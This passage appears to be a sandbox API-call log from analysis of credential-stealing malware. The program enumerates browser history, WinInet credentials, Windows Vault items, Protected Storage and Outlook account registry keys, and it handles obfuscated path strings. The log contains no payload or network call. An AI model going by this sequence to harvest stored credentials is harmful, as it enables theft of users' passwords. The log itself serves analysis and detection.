(lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZkDQnd37h.bmp") returned 89 [0056.965] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZkDQnd37h.bmp") returned 89 [0056.965] CoTaskMemFree (pv=0x2d2ef8) [0056.966] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.966] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/izBLIIiGcSgs07tfFVbl.jpg", lpSrch="?") returned 0x0 [0056.966] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.966] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.966] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.966] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/izBLIIiGcSgs07tfFVbl.jpg") returned 66 [0056.966] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/izBLIIiGcSgs07tfFVbl.jpg") returned 66 [0056.966] CoTaskMemFree (pv=0x304630) [0056.966] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0) returned 0x1 [0056.966] IUnknown:Release (This=0x2e19c0) returned 0x0 [0056.966] IUnknown:Release (This=0x2e1778) returned 0x1 [0056.966] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.966] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.966] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.966] lstrlenW (lpString="http://www.facebook.com/") returned 24 [0056.966] lstrlenW (lpString="http://www.facebook.com/") returned 24 [0056.966] CredEnumerateA (in: Filter="Microsoft_WinInet_*", Flags=0x0, Count=0x21fbac, Credential=0x21fbb0 | out: Count=0x21fbac, Credential=0x21fbb0) returned 0 [0056.967] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x74970000 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultEnumerateItems") returned 0x74973099 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultEnumerateVaults") returned 0x74972945 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultFree") returned 0x74974321 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultGetItem") returned 0x74973242 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultGetItem") returned 0x74973242 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultOpenVault") returned 0x749726a9 [0056.969] GetProcAddress (hModule=0x74970000, lpProcName="VaultCloseVault") returned 0x74972718 [0056.969] VaultEnumerateVaults () returned 0x0 [0056.970] VaultOpenVault () returned 0x0 [0056.970] VaultEnumerateItems () returned 0x0 [0056.970] VaultFree () returned 0x0 [0056.970] VaultOpenVault () returned 0x0 [0056.971] VaultEnumerateItems () returned 0x0 [0056.971] VaultFree () returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x1f8, cb=0x0, dwLockType=0x0) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbcc) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe8) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbfc) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x208, cb=0x0, dwLockType=0x0) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.971] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe8) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbfc) returned 0x0 [0056.971] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.972] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.972] IStream:LockRegion (This=0x2c1a58, libOffset=0x218, cb=0x0, dwLockType=0x0) returned 0x0 [0056.972] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.972] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.972] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.972] lstrlenA (lpString="6v2R9DpH\\TL3pvgv2R\\u22L3H\\uARbvvr\\uT1 s33vAQR TDQD5Hp\\s33vAQRg") returned 62 [0056.972] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x2b72d8 [0056.972] lstrcpyA (in: lpString1=0x2b72d8, lpString2="6v2R9DpH\\TL3pvgv2R\\u22L3H\\uARbvvr\\uT1 s33vAQR TDQD5Hp\\s33vAQRg" | out: lpString1="6v2R9DpH\\TL3pvgv2R\\u22L3H\\uARbvvr\\uT1 s33vAQR TDQD5Hp\\s33vAQRg") returned="6v2R9DpH\\TL3pvgv2R\\u22L3H\\uARbvvr\\uT1 s33vAQR TDQD5Hp\\s33vAQRg" [0056.972] lstrlenA (lpString="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\TL3pvgv2R uARbvvr 1QRHpQHR 6HRRLQ5g") returned 117 [0056.972] LocalAlloc (uFlags=0x40, uBytes=0x79) returned 0x2f5bc8 [0056.972] lstrcpyA (in: lpString1=0x2f5bc8, lpString2="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\TL3pvgv2R uARbvvr 1QRHpQHR 6HRRLQ5g" | out: lpString1="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\TL3pvgv2R uARbvvr 1QRHpQHR 6HRRLQ5g") returned="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\TL3pvgv2R uARbvvr 1QRHpQHR 6HRRLQ5g" [0056.972] lstrlenA (lpString="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\uARbvvr") returned 89 [0056.972] LocalAlloc (uFlags=0x40, uBytes=0x5d) returned 0x2e5210 [0056.972] lstrcpyA (in: lpString1=0x2e5210, lpString2="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\uARbvvr" | out: lpString1="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\uARbvvr") returned="6v2R9DpH\\TL3pvgv2R\\kLQEv9g Ke\\JAppHQRaHpgLvQ\\kLQEv9g THggD5LQ5 6AfgwgRHO\\Ipv2LbHg\\uARbvvr" [0056.972] lstrlenA (lpString="6v2R9DpH\\TL3pvgv2R\\u22L3H\\h8.G\\uARbvvr\\Ipv2LbHg\\uARbvvr") returned 55 [0056.972] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x2b28a8 [0056.972] lstrcpyA (in: lpString1=0x2b28a8, lpString2="6v2R9DpH\\TL3pvgv2R\\u22L3H\\h8.G\\uARbvvr\\Ipv2LbHg\\uARbvvr" | out: lpString1="6v2R9DpH\\TL3pvgv2R\\u22L3H\\h8.G\\uARbvvr\\Ipv2LbHg\\uARbvvr") returned="6v2R9DpH\\TL3pvgv2R\\u22L3H\\h8.G\\uARbvvr\\Ipv2LbHg\\uARbvvr" [0056.972] lstrlenA (lpString="6v2R9DpH\\TL3pvgv2R\\u22L3H\\hW.G\\uARbvvr\\Ipv2LbHg\\uARbvvr") returned 55 [0056.972] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x2b28f0 [0056.972] lstrcpyA (in: lpString1=0x2b28f0, lpString2="6v2R9DpH\\TL3pvgv2R\\u22L3H\\hW.G\\uARbvvr\\Ipv2LbHg\\uARbvvr" | out: lpString1="6v2R9DpH\\TL3pvgv2R\\u22L3H\\hW.G\\uARbvvr\\Ipv2LbHg\\uARbvvr") returned="6v2R9DpH\\TL3pvgv2R\\u22L3H\\hW.G\\uARbvvr\\Ipv2LbHg\\uARbvvr" [0056.972] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.972] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbb4) returned 0x0 [0056.972] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbac) returned 0x0 [0056.972] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc8) returned 0x0 [0056.972] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbb0) returned 0x0 [0056.972] LoadLibraryA (lpLibFileName="Pstorec.dll") returned 0x74960000 [0056.972] GetProcAddress (hModule=0x74960000, lpProcName="PStoreCreateInstance") returned 0x7496526c [0056.972] PStoreCreateInstance () returned 0x0 [0056.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0x21f3b0 | out: phkResult=0x21f3b0*=0x0) returned 0x2 [0056.973] lstrlenA (lpString="\\") returned 1 [0056.973] lstrlenA (lpString="Software\\Microsoft\\Internet Account Manager\\Accounts") returned 52 [0056.973] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2d2ef8 [0056.973] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="\\" | out: lpString1="\\") returned="\\" [0056.973] lstrcatA (in: lpString1="\\", lpString2="Software\\Microsoft\\Internet Account Manager\\Accounts" | out: lpString1="\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned="\\Software\\Microsoft\\Internet Account Manager\\Accounts" [0056.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities", phkResult=0x21f3a4 | out: phkResult=0x21f3a4*=0x1e8) returned 0x0 [0056.973] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x21f3ac, lpcchName=0x21f3a0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x21f3a0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.973] lstrlenA (lpString="Identities") returned 10 [0056.973] lstrlenA (lpString="\\") returned 1 [0056.973] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2da360 [0056.973] lstrcpyA (in: lpString1=0x2da360, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0056.973] lstrcatA (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0056.973] lstrlenA (lpString="Identities\\") returned 11 [0056.973] lstrlenA (lpString="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 38 [0056.973] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x2d2e38 [0056.973] lstrcpyA (in: lpString1=0x2d2e38, lpString2="Identities\\" | out: lpString1="Identities\\") returned="Identities\\" [0056.973] lstrcatA (in: lpString1="Identities\\", lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0056.973] LocalFree (hMem=0x2da360) returned 0x0 [0056.973] lstrlenA (lpString="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 49 [0056.973] lstrlenA (lpString="\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 53 [0056.973] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x2fc080 [0056.973] lstrcpyA (in: lpString1=0x2fc080, lpString2="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0056.973] lstrcatA (in: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="\\Software\\Microsoft\\Internet Account Manager\\Accounts" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts" [0056.973] LocalFree (hMem=0x2d2e38) returned 0x0 [0056.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0x21eb58 | out: phkResult=0x21eb58*=0x0) returned 0x2 [0056.973] LocalFree (hMem=0x2fc080) returned 0x0 [0056.973] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x21f3ac, lpcchName=0x21f3a0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x21f3a0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.973] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.973] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0x21f3a8 | out: phkResult=0x21f3a8*=0x0) returned 0x2 [0056.974] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.974] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0x21f3b0 | out: phkResult=0x21f3b0*=0x0) returned 0x2 [0056.974] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", phkResult=0x21f3a8 | out: phkResult=0x21f3a8*=0x0) returned 0x2 [0056.974] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x21f3a0 | out: phkResult=0x21f3a0*=0x0) returned 0x2 [0056.974] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0x21f398 | out: phkResult=0x21f398*=0x1e8) returned 0x0 [0056.974] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.974] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.974] lstrlenA (lpString="\\") returned 1 [0056.974] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.974] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.974] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.974] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.974] lstrlenA (lpString="0a0d020000000000c000000000000046") returned 32 [0056.974] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.974] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.974] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0056.974] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.974] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned 88 [0056.974] lstrlenA (lpString="") returned 0 [0056.974] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.974] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0056.974] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0056.974] LocalFree (hMem=0x2fc080) returned 0x0 [0056.974] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.974] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.974] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.974] LocalFree (hMem=0x2fc320) returned 0x0 [0056.974] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.974] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.974] lstrlenA (lpString="\\") returned 1 [0056.974] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.974] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.974] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.974] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.974] lstrlenA (lpString="13dbb0c8aa05101a9bb000aa002fc45a") returned 32 [0056.974] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.974] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0056.975] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned 88 [0056.975] lstrlenA (lpString="") returned 0 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.975] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0056.975] LocalFree (hMem=0x2fc080) returned 0x0 [0056.975] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.975] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.975] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.975] LocalFree (hMem=0x2fc320) returned 0x0 [0056.975] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x2, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.975] lstrlenA (lpString="\\") returned 1 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.975] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.975] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.975] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.975] lstrlenA (lpString="3517490d76624c419a828607e2a54604") returned 32 [0056.975] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.975] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") 